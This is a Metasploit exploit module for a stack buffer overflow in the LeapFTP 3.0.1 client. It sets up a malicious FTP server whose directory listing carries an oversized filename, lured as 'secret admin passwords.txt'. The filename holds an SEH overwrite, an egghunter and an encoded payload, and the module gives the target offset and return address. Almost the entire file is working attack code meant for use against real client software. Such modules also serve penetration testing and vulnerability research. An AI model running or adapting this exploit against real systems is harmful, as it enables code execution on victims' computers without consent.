##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LeapFTP 3.0.1 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the LeapFTP 3.0.1 client.
        This issue is triggered when a file with a long name is downloaded/opened.
      },
      'Author' 	 =>
        [
          'corelanc0d3r <peter.ve[at]corelan.be>',  # Original bug, completed MSF module
          'nullthreat'     # Ported PoC to MSF
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '68640'],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Offset' => 528,'Ret' => 0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 12 2010',
      'DefaultTarget'  => 0))
  end

  def setup
    super
  end

  def on_client_unknown_command(c,cmd,arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c,arg)
      conn = establish_data_connection(c)
      if(not conn)
        c.put("425 Can't build data connection\r\n")
        return
      end
      print_status(" - Data connection set up")
      code = 150
      c.put("#{code} Here comes the directory listing.\r\n")
      code = 226
      c.put("#{code} Directory send ok.\r\n")
      # create the egg hunter
      badchars = ""
      eggoptions =
      {
      :checksum => true,
      :eggtag => "W00T"
      }
      hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
      # Get the file ready
      junk = "\x73\x65"  #73 65 = jump over filename = "se"
      junk << "cret admin passwords.txt"
      junk << "_" * ((target['Offset'])-junk.length-hunter.length) # _ = POP EDI
      junk << hunter
      seh = [target.ret].pack('V')
      shellcode = egg + egg + payload.encoded
      junk2 = rand_text_alpha((2000 - shellcode.length))
      payload = junk + seh + shellcode + junk2
      strfile = payload
      print_status(" - Sending directory list via data connection")
      dirlist = "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{strfile}.txt\r\n"
      conn.put("total 2\r\n"+dirlist)
      conn.close
      return
  end

end
